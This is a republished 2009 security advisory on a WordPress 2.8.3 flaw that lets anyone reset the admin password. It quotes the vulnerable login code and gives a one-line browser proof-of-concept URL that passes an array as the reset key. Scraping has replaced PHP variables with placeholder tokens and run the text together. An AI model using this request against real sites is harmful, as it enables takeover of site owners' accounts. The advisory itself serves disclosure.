2.8.3 Remote Admin Reset Password

    技术2022-05-12  13

     I. VULNERABILITY-------------------------WordPress <= 2.8.3 Remote admin reset passwordII. BACKGROUND-------------------------WordPress is a state-of-the-art publishing platform with a focus onaesthetics, web standards, and usability. WordPress is both free andpriceless at the same time. More simply, WordPress is what you use whenyou want to work with your blogging software, not fight it.III. DESCRIPTION-------------------------The way Wordpress handle a password reset looks like this:You submit your email adress or username via this form /wp-login.php?action=lostpassword ;Wordpress send you a reset confirmation like that via email:"Someone has asked to reset the password for the following site and username.http://DOMAIN_NAME.TLD/wordpressUsername: adminTo reset your password visit the following address, otherwise justignore this email and nothing will happenhttp://DOMAIN_NAME.TLD/wordpress/wp-login.php?action=rp&key=o7naCKN3OoeU2KJMMsag"You click on the link, and then Wordpress reset your admin password, andsends you over another email with your new credentials.Let's see how it works:wp-login.php:...[snip]....line 186:function reset_password($key) {    global $wpdb;    $key = preg_replace('/[^a-z0-9]/i', '', $key);    if ( empty( $key ) )        return new WP_Error('invalid_key', __('Invalid key'));    $user = $wpdb->get_row($wpdb->prepare("SELECT * FROM $wpdb->users WHERE user_activation_key = %s", $key));    if ( empty( $user ) )        return new WP_Error('invalid_key', __('Invalid key'));...[snip]....line 276:$action = isset(

    ___FCKpd___0

    REQUEST['action']) ?

    ___FCKpd___0

    REQUEST['action'] : 'login';$errors = new WP_Error();if ( isset(

    ___FCKpd___0

    GET['key']) )    $action = 'resetpass';// validate action so as to default to the login screenif ( !in_array($action, array('logout', 'lostpassword', 'retrievepassword', 'resetpass', 'rp', 'register', 'login')) && false === has_filter('login_form_' . $action) )    $action = 'login';...[snip]....line 370:break;case 'resetpass' :case 'rp' :    $errors = reset_password(

    ___FCKpd___0

    GET['key']);    if ( ! is_wp_error($errors) ) {        wp_redirect('wp-login.php?checkemail=newpass');        exit();    }    wp_redirect('wp-login.php?action=lostpassword&error=invalidkey');    exit();break;...[snip ]...You can abuse the password reset function, and bypass the first step andthen reset the admin password by submiting an array to the $keyvariable.IV. PROOF OF CONCEPT-------------------------A web browser is sufficiant to reproduce this Proof of concept:http://DOMAIN_NAME.TLD/wp-login.php?action=rp&key[]=The password will be reset without any confirmation.V. BUSINESS IMPACT-------------------------An attacker could exploit this vulnerability to compromise the adminaccount of any wordpress/wordpress-mu <= 2.8.3VI. SYSTEMS AFFECTED-------------------------AllVII. SOLUTION-------------------------No patch aviable for the moment.VIII. REFERENCES-------------------------http://www.wordpress.orgIX. CREDITS-------------------------This vulnerability has been discovered by Laurent Gaffié Laurent.gaffie{remove-this}(at)gmail.comI'd like to shoot some greetz to securityreason.com for them greatresearch on PHP, as for this under-estimated vulnerability discovered byMaksymilian Arciemowicz : http://securityreason.com/achievement_securityalert/38X. REVISION HISTORY-------------------------August 10th, 2009: Initial releaseXI. LEGAL NOTICES-------------------------The information contained within this advisory is supplied "as-is"with no warranties or guarantees of fitness of use or otherwise.I accept no responsibility for any damage caused by the use ormisuse of this information.


    最新回复(0)